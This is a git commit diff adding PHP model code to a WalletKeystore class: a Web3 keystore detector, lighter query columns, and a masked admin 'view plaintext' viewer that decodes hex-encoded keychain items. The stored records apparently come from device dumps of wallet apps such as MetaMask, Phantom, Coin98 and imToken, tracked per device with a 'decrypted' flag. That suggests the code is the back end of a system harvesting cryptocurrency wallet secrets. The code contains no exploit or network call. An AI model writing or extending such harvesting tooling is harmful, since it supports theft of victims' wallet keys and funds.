fix: keystore

This commit is contained in:
hashbro
2026-09-20 06:15:26 +08:00
parent 2625707aed
commit 2a41a29310
29 changed files with 1972 additions and 66 deletions
+166
View File
@@ -40,6 +40,26 @@ class WalletKeystore extends Model
];
}
/**
* Same as listColumns() but without LENGTH(raw_json). Use this for
* paginated/sorted queries to avoid MySQL "Out of sort memory" (HY001)
* — the LENGTH() expression forces MySQL to read large blobs during
* filesort, overflowing the sort buffer even for a handful of rows.
*
* @return list<string>
*/
public static function listColumnsLight(string $table = 'wallet_keystores'): array
{
return [
$table.'.id',
$table.'.device_id',
$table.'.source',
$table.'.decrypted',
$table.'.created_at',
$table.'.updated_at',
];
}
/**
* Load this row's raw_json alone, log memory, then drop the blob.
*
@@ -62,6 +82,7 @@ class WalletKeystore extends Model
'item_count' => $this->itemCount(),
'summary' => $this->summary(),
'kind' => $this->kindLabel(),
'has_web3_keystore' => $this->hasWeb3Keystore(),
];
} catch (\Throwable $e) {
Log::warning('keystore.list.hydrate.fail', [
@@ -74,6 +95,7 @@ class WalletKeystore extends Model
'item_count' => 0,
'summary' => '',
'kind' => $this->kindLabel(),
'has_web3_keystore' => false,
];
} finally {
$this->setAttribute('raw_json', null);
@@ -193,6 +215,47 @@ class WalletKeystore extends Model
};
}
/**
* Detect whether this keystore entry contains a standard Web3 keystore
* (Web3 Secret Storage Definition): a JSON object with a `crypto` field
* that has `ciphertext` and `mac` sub-keys. This covers imToken
* walletsV2 keystores (stored directly or nested under wallets.imtoken)
* and any UTC-style keystore blob.
*
* iOS keychain items (Coin98, MetaMask, Phantom, etc. with dataHex) and
* sandbox files do NOT match and will return false.
*/
public function hasWeb3Keystore(): bool
{
$json = is_array($this->raw_json) ? $this->raw_json : [];
if ($this->isWeb3KeystoreNode($json)) {
return true;
}
$wallets = $json['wallets'] ?? null;
if (is_array($wallets)) {
foreach ($wallets as $bucket) {
if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) {
return true;
}
}
}
return false;
}
/**
* @param array<string, mixed> $node
*/
private function isWeb3KeystoreNode(array $node): bool
{
$crypto = $node['crypto'] ?? null;
return is_array($crypto)
&& isset($crypto['ciphertext'], $crypto['mac'])
&& is_string($crypto['ciphertext'])
&& is_string($crypto['mac']);
}
/**
* @return list<array{
* account: string,
@@ -397,4 +460,107 @@ class WalletKeystore extends Model
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
}
/**
* Keys whose values are sensitive (encrypted blobs, private keys,
* salts, IVs, etc.) and should be masked in the detail view.
*/
private const MASK_KEYS = [
'ciphertext', 'mac', 'salt', 'iv', 'nonce', 'encStr',
'encKey', 'encAuthKey', 'encOriginal',
'secretKey', 'privateKey', 'seed',
'cipherparams', 'kdfparams', 'cipher',
'kPKey', 'kPinPasswordNew', 'pin_code_key_uuid', 'mnemonic_key_uuid',
'pin_code_key_multi_uuid',
];
/**
* Return the raw_json tree with sensitive fields masked, suitable for
* display in the admin "查看明文" detail view. Each keychain item's
* dataHex is decoded to UTF-8 when possible and nested sensitive fields
* are replaced with `***MASKED***`.
*
* @return array<string, mixed>
*/
public function maskedDetail(): array
{
$raw = self::query()->whereKey($this->id)->value('raw_json');
if (! is_array($raw)) {
return [];
}
return $this->maskTree($raw);
}
/**
* Recursively mask sensitive keys in a data tree.
*
* @param mixed $node
* @return mixed
*/
private function maskTree(mixed $node, int $depth = 0): mixed
{
if ($depth > 12) {
return null;
}
if (is_array($node)) {
$out = [];
foreach ($node as $key => $value) {
$lowerKey = strtolower((string) $key);
if (in_array($lowerKey, array_map('strtolower', self::MASK_KEYS), true)) {
// Mask the value but preserve type info and length.
if (is_string($value)) {
$out[$key] = '***MASKED***('.strlen($value).' chars)';
} elseif (is_array($value)) {
$out[$key] = '***MASKED***('.count($value).' items)';
} else {
$out[$key] = '***MASKED***';
}
continue;
}
// Decode dataHex in-place to show decoded content.
if ($lowerKey === 'datahex' && is_string($value) && $value !== '') {
$decoded = $this->tryDecodeHex($value);
if ($decoded !== null) {
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
$out['_dataDecoded'] = $this->maskTree($decoded, $depth + 1);
continue;
}
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
continue;
}
$out[$key] = $this->maskTree($value, $depth + 1);
}
return $out;
}
return $node;
}
/**
* Try to decode a hex string into a JSON array or readable UTF-8 text.
*/
private function tryDecodeHex(string $hex): mixed
{
$hex = trim($hex);
if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) {
return null;
}
$bin = @hex2bin($hex);
if (! is_string($bin) || $bin === '' || ! mb_check_encoding($bin, 'UTF-8')) {
return null;
}
// Try JSON first.
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
// Return as plain text if it looks printable.
if (preg_match('/^[\x09\x0A\x0D\x20-\x7E\x{4e00}-\x{9fff}]+$/u', $bin)) {
return $bin;
}
return null;
}
}